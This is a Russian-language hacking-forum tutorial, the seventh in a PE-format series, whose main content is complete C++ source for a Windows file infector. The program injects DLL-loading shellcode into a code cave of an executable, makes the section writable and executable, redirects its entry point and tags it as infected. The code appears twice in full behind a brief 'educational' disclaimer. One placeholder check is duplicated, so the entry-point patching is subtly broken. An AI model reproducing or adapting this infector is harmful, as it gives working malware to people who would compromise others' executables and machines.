• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья [0x07] Исследуем Portable EXEcutable [Пишем полноценный инфектор]

PingVinich

PingVinich

Технарь
Red Team
19.03.2017
138
458
Доброго времени суток, форумчане! Эта статья является логическим продолжением сразу для двух статей - для статьи о DLL инъекциях и для статьи об инфицировании .exe файлов. Только задумайтесь, что будет, если смешать два этих способа? (Для полноценного понимания требуется изучение предыдущего материала, так как в нём приведены основы инфицирования, внедрения DLL и описание формата PE-файла)

Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.

Теория

Давайте рассмотрим следующий сценарий. Перед нами стоит задача, инфицировать некоторый файл, чтобы при его запуске, загружалась необходимая нам DLL'ка и выполняла нужные нам действия. Почему не внедрить нужный нам код прямо в файл?

Давайте рассмотрим ряд преимуществ способа с внедрением DLL:
  • Код не ограничен размером пещеры кода
  • Код может быть реализован на любом языке, позволяющий создавать DLL файлы
  • Уменьшается время ожидания перед запуском оригинального кода
  • Провал эвристического анализа (если не отправляется DLL'ка)
Минусы этого способа:
  • Для его корректной работы требуется сама DLL
  • Усложнённая реализация распространения на другие ПК
Встаёт вопрос - как это реализовать? Давайте рассмотрим возможную реализацию.
  • В произольную папку помещается DLL'ка.
  • Целевой файл инфицируется LoadLibrary шеллкодом, который и загружает нашу DLL'ку :).
Да, всё на самом деле так просто!

Давайте теперь рассмотрим различия между инфицированным файлом и оригинальным в hex-редакторе (в роли жертвы, у нас как обычно будет наш замученный hello.exe). А точнее, рассмотрим как у них различаются секции кода.

Сначала рассмотрим секцию .text у незаражённого файла:

[0x07] Исследуем Portable EXEcutable [Пишем полноценный инфектор]

Видим что в секции находится оригинальный код, обширная пещера кода и больше ничего.

Теперь, давайте посмотрим как выглядит секция .text у заражённого файла:

[0x07] Исследуем Portable EXEcutable [Пишем полноценный инфектор]

Всё тот же оригинальный код и.... мы видим наш вредоносный код, сразу после оригинального. Его задача заключается в загрузке DLL. Как мы видим, это DLL имеет путь D:\test.dll.

Также, давайте посмотрим как изменились заголовки у PE-файла.

Было:

[0x07] Исследуем Portable EXEcutable [Пишем полноценный инфектор]

Стало:

[0x07] Исследуем Portable EXEcutable [Пишем полноценный инфектор]

Как мы может заметить появилась метка заражения, а также AddressOfEntryPoint изменился на начало нашего вредоносного кода.

Практика
Создадим проект в Visual Studio и подключим нужные нам заголовочные файлы:
C++:
#include <Windows.h>
#include <iostream>
#include <stdio.h>
Теперь, нам нужно объявить константы (путь к DLL и путь к целевому файлу), а также объявить внедряемый код (шеллкод). В нашем случае он будет загружать нужную нам DLL'ку.
C++:
#define TARGET_FILE "D:\\hello.exe"
#define TARGET_DLL  "D:\\test.dll"

#define SHELLCODE_SIZE (34+sizeof(TARGET_DLL))

#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
    __asm {
        pushad
        call    routine

        routine :
            pop     ebp
            sub     ebp, offset routine
            lea     eax, [ebp + szDllName]
            push    eax
            mov     eax, 0xAAAAAAAA
            call    eax
            popad
            push    0xAAAAAAAA
            ret

        szDllName :
            db('A') db('A') db('A') db('A')
    }
}
Также, позаимствуем классы MappedFile и PEParser и этой статьи. Мы уже знаем, в чём состоит их задача из прошлой статьи (отображение целевого файла на память и парсинг (разбор) Portable Executable файла).
C++:
class MappedFile
{
private:
    HANDLE m_hFile;
    HANDLE m_hMapping;
    LPBYTE m_lpFile;
public:
    MappedFile(LPTSTR szFilename)
    {
        m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL);
        if (m_hFile == INVALID_HANDLE_VALUE)
        {
            throw std::exception("Can't open target file!");
        }
        DWORD dwFileSize = GetFileSize(m_hFile, NULL);

        m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
            0, NULL);
        if (m_hMapping == NULL)
        {
            CloseHandle(m_hFile);
            throw std::exception("Can't create file mapping!");
        }

        m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize));
        if (m_lpFile == NULL)
        {
            CloseHandle(m_hMapping);
            CloseHandle(m_hFile);
            throw std::exception("Can't map view of file!");
        }
    }

    LPBYTE getViewOfFile()
    {
        return m_lpFile;
    }

    ~MappedFile()
    {
        UnmapViewOfFile(m_lpFile);
        CloseHandle(m_hMapping);
        CloseHandle(m_hFile);
    }
};

class PEParser
{
private:
    LPBYTE m_lpFile;
    PIMAGE_DOS_HEADER m_pidh;
    PIMAGE_NT_HEADERS m_pinh;
    PIMAGE_FILE_HEADER m_pifh;
    PIMAGE_OPTIONAL_HEADER m_pioh;
public:
    PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
    {
        m_pidh = PIMAGE_DOS_HEADER(lpFile);
        if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE)
        {
            throw std::exception("There's not executable file!");
        }

        m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew);
        if (m_pinh->Signature != IMAGE_NT_SIGNATURE)
        {
            throw std::exception("There's not executable file!");
        }

        m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader);
        m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader);
    }

    PIMAGE_DOS_HEADER getDosHeader()
    {
        return m_pidh;
    }

    PIMAGE_NT_HEADERS getNtHeaders()
    {
        return m_pinh;
    }

    PIMAGE_FILE_HEADER getFileHeader()
    {
        return m_pifh;
    }

    PIMAGE_OPTIONAL_HEADER getOptionalHeader()
    {
        return m_pioh;
    }

    int getNumberOfSections()
    {
        return m_pifh->NumberOfSections;
    }

    PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
    {
        if (nSection > this->getNumberOfSections())
        {
            return NULL;
        }

        return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
            sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
            m_pifh->SizeOfOptionalHeader +
            sizeof(IMAGE_SECTION_HEADER)* (nSection - 1));
    }
};
Вспомним алгоритм заражения:
  1. Подготовительные действия
    1.1 Открыть файл
    1.2 Создать проекцию файла в память
    1.3 Проверить действительно ли это исполняемый файл
    1.4 Разобрать заголовки
    1.5 Проверить заражён ли файл уже
  2. Итерируя каждую секцию пробежаться по ней и найти пещеру кода нужного размера
  3. Подготавить шелл-код
  4. Вставлить вредоносный код в пещеру кода
  5. Изменить характеристики секции на Read, Write, Execute.
  6. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  7. Пометить файл как зараженный
Теперь добавим следующий код в главную функцию. В нём реализовано отображение файла на память, а также разбор всех необходимых нам заголовков.
C++:
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET_FILE));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;

        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;
Давайте теперь нашишем две процедуры для помечания файла как заражённым и проверки файла на заражение.
C++:
void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
    pidh->e_minalloc = 0x1337;
}

BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
    return pidh->e_minalloc == 0x1337;
}
Ну и добавим функциональность проверки на заражение в главную функцию:
C++:
    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
Теперь, нам нужно найти пещеру кода подходящего размера, куда мы и поместим наш внедряемый код (код загрузки DLL). Для этого реализуем следующую функцию (а также создадим структуру для удобства).
C++:
typedef struct _CODE_CAVE
{
    DWORD                 dwPosition;
    PIMAGE_SECTION_HEADER pish;
} CODE_CAVE, *PCODE_CAVE;

CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
    CODE_CAVE ccCave;

    DWORD dwCount = 0;
    ccCave.dwPosition = 0;
    ccCave.pish = NULL;

    for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)
    {
        ccCave.pish = ppeParser->getSectionHeader(i);

        for (int j = 0; j < ccCave.pish->SizeOfRawData; j++)
        {
            if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
            {
                if (dwCount++ == (SHELLCODE_SIZE + 1))
                {
                    ccCave.dwPosition = j - SHELLCODE_SIZE +
                        ccCave.pish->PointerToRawData + 1;
                    break;
                }
            }
            else
            {
                dwCount = 0;
            }
        }

        if (ccCave.dwPosition != 0)
        {
            break;
        }
    }

    if (dwCount == 0 || ccCave.dwPosition == 0)
    {
        return CODE_CAVE{ 0, NULL };
    }
    else
    {
        return ccCave;
    }
}
Добавим следующий код в главную функцию. Здесь мы вызываем функцию поиска пещеры кода и обрабатываем результат.

C++:
    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    PIMAGE_SECTION_HEADER pish = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(dwPosition)
        << " (" << pish->Name << " section)" << std::endl;
Теперь нам нужно подготовить внедряемый код нужным образом специально под целевой файл. Для этого реализуем следующую функцию (кстати, в предыдущей версии этой функции была одна неприятная бага, которая уже устранена):
C++:
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
    HMODULE hModule = LoadLibrary(_TEXT("kernel32.dll"));
    LPVOID lpLoadLibraryA = GetProcAddress(hModule, "LoadLibraryA");

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
        {
            *(LPDWORD(LPBYTE(lpShellcode) + i)) = DWORD(lpLoadLibraryA);
            FreeLibrary(hModule);
            continue;
        }

        if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
        {
            *(LPDWORD(LPBYTE(lpShellcode) + i)) = dwOEP;
            continue;
        }

        if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0x41414141)
        {
            memcpy(LPVOID(LPBYTE(lpShellcode) + i), TARGET_DLL, sizeof(TARGET_DLL));
            break;
        }
    }
}
И добавим её вызов в главную функцию:
C++:
    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);
Теперь нам нужно вставить внедряемый код в пещеру кода, изменить характеристики секции, пометить файл как заражённый и закончить работу.

Для этого вставим следующий код в главную функцию:
C++:
    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;
}
Вот и всё!

C++:
#include <Windows.h>
#include <iostream>
#include <stdio.h>

#define TARGET_FILE "D:\\hello.exe"
#define TARGET_DLL  "D:\\test.dll"

#define SHELLCODE_SIZE (34+sizeof(TARGET_DLL))

#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
    __asm {
        pushad
        call    routine

        routine :
            pop     ebp
            sub     ebp, offset routine
            lea     eax, [ebp + szDllName]
            push    eax
            mov     eax, 0xAAAAAAAA
            call    eax
            popad
            push    0xAAAAAAAA
            ret

        szDllName :
            db('A') db('A') db('A') db('A')
    }
}

class MappedFile
{
private:
    HANDLE m_hFile;
    HANDLE m_hMapping;
    LPBYTE m_lpFile;
public:
    MappedFile(LPTSTR szFilename)
    {
        m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL);
        if (m_hFile == INVALID_HANDLE_VALUE)
        {
            throw std::exception("Can't open target file!");
        }
        DWORD dwFileSize = GetFileSize(m_hFile, NULL);

        m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
            0, NULL);
        if (m_hMapping == NULL)
        {
            CloseHandle(m_hFile);
            throw std::exception("Can't create file mapping!");
        }

        m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize));
        if (m_lpFile == NULL)
        {
            CloseHandle(m_hMapping);
            CloseHandle(m_hFile);
            throw std::exception("Can't map view of file!");
        }
    }

    LPBYTE getViewOfFile()
    {
        return m_lpFile;
    }

    ~MappedFile()
    {
        UnmapViewOfFile(m_lpFile);
        CloseHandle(m_hMapping);
        CloseHandle(m_hFile);
    }
};

class PEParser
{
private:
    LPBYTE m_lpFile;
    PIMAGE_DOS_HEADER m_pidh;
    PIMAGE_NT_HEADERS m_pinh;
    PIMAGE_FILE_HEADER m_pifh;
    PIMAGE_OPTIONAL_HEADER m_pioh;
public:
    PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
    {
        m_pidh = PIMAGE_DOS_HEADER(lpFile);
        if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE)
        {
            throw std::exception("There's not executable file!");
        }

        m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew);
        if (m_pinh->Signature != IMAGE_NT_SIGNATURE)
        {
            throw std::exception("There's not executable file!");
        }

        m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader);
        m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader);
    }

    PIMAGE_DOS_HEADER getDosHeader()
    {
        return m_pidh;
    }

    PIMAGE_NT_HEADERS getNtHeaders()
    {
        return m_pinh;
    }

    PIMAGE_FILE_HEADER getFileHeader()
    {
        return m_pifh;
    }

    PIMAGE_OPTIONAL_HEADER getOptionalHeader()
    {
        return m_pioh;
    }

    int getNumberOfSections()
    {
        return m_pifh->NumberOfSections;
    }

    PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
    {
        if (nSection > this->getNumberOfSections())
        {
            return NULL;
        }

        return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
            sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
            m_pifh->SizeOfOptionalHeader +
            sizeof(IMAGE_SECTION_HEADER)* (nSection - 1));
    }
};

void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
    HMODULE hModule = LoadLibrary(_TEXT("kernel32.dll"));
    LPVOID lpLoadLibraryA = GetProcAddress(hModule, "LoadLibraryA");

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
        {
            *(LPDWORD(LPBYTE(lpShellcode) + i)) = DWORD(lpLoadLibraryA);
            FreeLibrary(hModule);
            continue;
        }

        if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0xAAAAAAAA)
        {
            *(LPDWORD(LPBYTE(lpShellcode) + i)) = dwOEP;
            continue;
        }

        if (*(LPDWORD(LPBYTE(lpShellcode) + i)) == 0x41414141)
        {
            memcpy(LPVOID(LPBYTE(lpShellcode) + i), TARGET_DLL, sizeof(TARGET_DLL));
            break;
        }
    }
}

typedef struct _CODE_CAVE
{
    DWORD                 dwPosition;
    PIMAGE_SECTION_HEADER pish;
} CODE_CAVE, *PCODE_CAVE;

CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
    CODE_CAVE ccCave;

    DWORD dwCount = 0;
    ccCave.dwPosition = 0;
    ccCave.pish = NULL;

    for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)
    {
        ccCave.pish = ppeParser->getSectionHeader(i);

        for (int j = 0; j < ccCave.pish->SizeOfRawData; j++)
        {
            if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
            {
                if (dwCount++ == (SHELLCODE_SIZE + 1))
                {
                    ccCave.dwPosition = j - SHELLCODE_SIZE +
                        ccCave.pish->PointerToRawData + 1;
                    break;
                }
            }
            else
            {
                dwCount = 0;
            }
        }

        if (ccCave.dwPosition != 0)
        {
            break;
        }
    }

    if (dwCount == 0 || ccCave.dwPosition == 0)
    {
        return CODE_CAVE{ 0, NULL };
    }
    else
    {
        return ccCave;
    }
}

void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
    pidh->e_minalloc = 0x1337;
}

BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
    return pidh->e_minalloc == 0x1337;
}

int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET_FILE));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;

        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    PIMAGE_SECTION_HEADER pish = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(dwPosition)
        << " (" << pish->Name << " section)" << std::endl;

    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;
}

Теперь, возьмём DLL из прошлой статьи и подготовимся к тестовому запуску, поместив hello.exe и test.dll на диск D. Запускаем, и.... У нас всё получилось! Программа успешно подгружает нашу DLL'ку.

[0x07] Исследуем Portable EXEcutable [Пишем полноценный инфектор]


На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий.​
 
Aleks Binakril

Aleks Binakril

Happy New Year
04.12.2019
25
4
про полисорфы или ИИ будет в инфицировании Пе файлов?
 
Мы в соцсетях: